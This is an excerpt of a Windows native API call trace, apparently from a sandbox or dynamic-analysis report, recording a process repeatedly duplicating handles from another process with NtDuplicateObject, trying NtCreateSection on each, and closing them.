	[0072.715] NtClose (Handle=0x328) returned 0x0
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x16c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.715] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.715] NtClose (Handle=0x328) returned 0x0
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x170, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.715] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.715] NtClose (Handle=0x328) returned 0x0
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x174, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.715] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.715] NtClose (Handle=0x328) returned 0x0
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x178, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.715] NtClose (Handle=0x31c) returned 0x0
	[0072.715] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x17c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.715] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.716] NtClose (Handle=0x328) returned 0x0
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x180, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x184, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.716] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.716] NtClose (Handle=0x328) returned 0x0
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x18c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x190, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.716] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.716] NtClose (Handle=0x328) returned 0x0
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x194, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.716] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.716] NtClose (Handle=0x328) returned 0x0
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.716] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x198, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.716] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.716] NtClose (Handle=0x328) returned 0x0
	[0072.716] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x19c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1a4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1a8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1ac, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1b0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1b4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.717] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.717] NtClose (Handle=0x328) returned 0x0
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1b8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.717] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.717] NtClose (Handle=0x328) returned 0x0
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1bc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.717] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.717] NtClose (Handle=0x328) returned 0x0
	[0072.717] NtClose (Handle=0x31c) returned 0x0
	[0072.717] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1c0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.717] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.718] NtClose (Handle=0x328) returned 0x0
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1c4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.718] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.718] NtClose (Handle=0x328) returned 0x0
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1c8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.718] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.718] NtClose (Handle=0x328) returned 0x0
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1cc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.718] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.718] NtClose (Handle=0x328) returned 0x0
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1d0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.718] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.718] NtClose (Handle=0x328) returned 0x0
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1d4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1d8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.718] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1dc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.718] NtClose (Handle=0x31c) returned 0x0
	[0072.719] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1e0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.719] NtClose (Handle=0x31c) returned 0x0
	[0072.719] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1e4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.719] NtClose (Handle=0x31c) returned 0x0
	[0072.719] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1e8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.719] NtClose (Handle=0x31c) returned 0x0
	[0072.787] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1ec, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x328) returned 0x0
	[0072.787] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x328 | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.787] NtClose (Handle=0x328) returned 0xc0000235
	[0072.787] NtClose (Handle=0x31c) returned 0x0
	[0072.787] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1f0, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.787] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.787] NtClose (Handle=0x32c) returned 0x0
	[0072.787] NtClose (Handle=0x31c) returned 0x0
	[0072.787] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1f4, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.787] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.787] NtClose (Handle=0x32c) returned 0x0
	[0072.787] NtClose (Handle=0x31c) returned 0x0
	[0072.787] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1f8, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.787] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.788] NtClose (Handle=0x32c) returned 0x0
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x1fc, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.788] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.788] NtClose (Handle=0x32c) returned 0x0
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x200, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.788] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.788] NtClose (Handle=0x32c) returned 0x0
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x204, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.788] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.788] NtClose (Handle=0x32c) returned 0x0
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x208, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x20c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x210, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.788] NtClose (Handle=0x31c) returned 0x0
	[0072.788] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x214, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.788] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000020
	[0072.788] NtClose (Handle=0x32c) returned 0x0
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x218, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x21c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.789] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.789] NtClose (Handle=0x32c) returned 0x0
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x220, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x224, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.789] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.789] NtClose (Handle=0x32c) returned 0x0
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x228, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x22c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.789] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.789] NtClose (Handle=0x32c) returned 0x0
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x230, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.789] NtClose (Handle=0x31c) returned 0x0
	[0072.789] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x234, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.789] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.790] NtClose (Handle=0x32c) returned 0x0
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x238, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.790] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.790] NtClose (Handle=0x32c) returned 0x0
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x23c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.790] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.790] NtClose (Handle=0x32c) returned 0x0
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x240, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.790] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.790] NtClose (Handle=0x32c) returned 0x0
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x244, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.790] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.790] NtClose (Handle=0x32c) returned 0x0
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x248, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.790] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x24c, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x0) returned 0xc00000bb
	[0072.790] NtClose (Handle=0x31c) returned 0x0
	[0072.791] NtDuplicateObject (in: SourceProcessHandle=0x31c, SourceHandle=0x250, TargetProcessHandle=0xffffffff, TargetHandle=0x272fa84, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x6 | out: TargetHandle=0x272fa84*=0x32c) returned 0x0
	[0072.791] NtCreateSection (in: SectionHandle=0x272fa5c, DesiredAccess=0x4, ObjectAttributes=0x0, MaximumSize=0x272fa40, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x32c | out: SectionHandle=0x272fa5c*=0x0) returned 0xc0000024
	[0072.791] NtClose (Handle=0x32c) returned 0x0
	[0072.791] NtClose (Handle=0x31c) returned 0x0
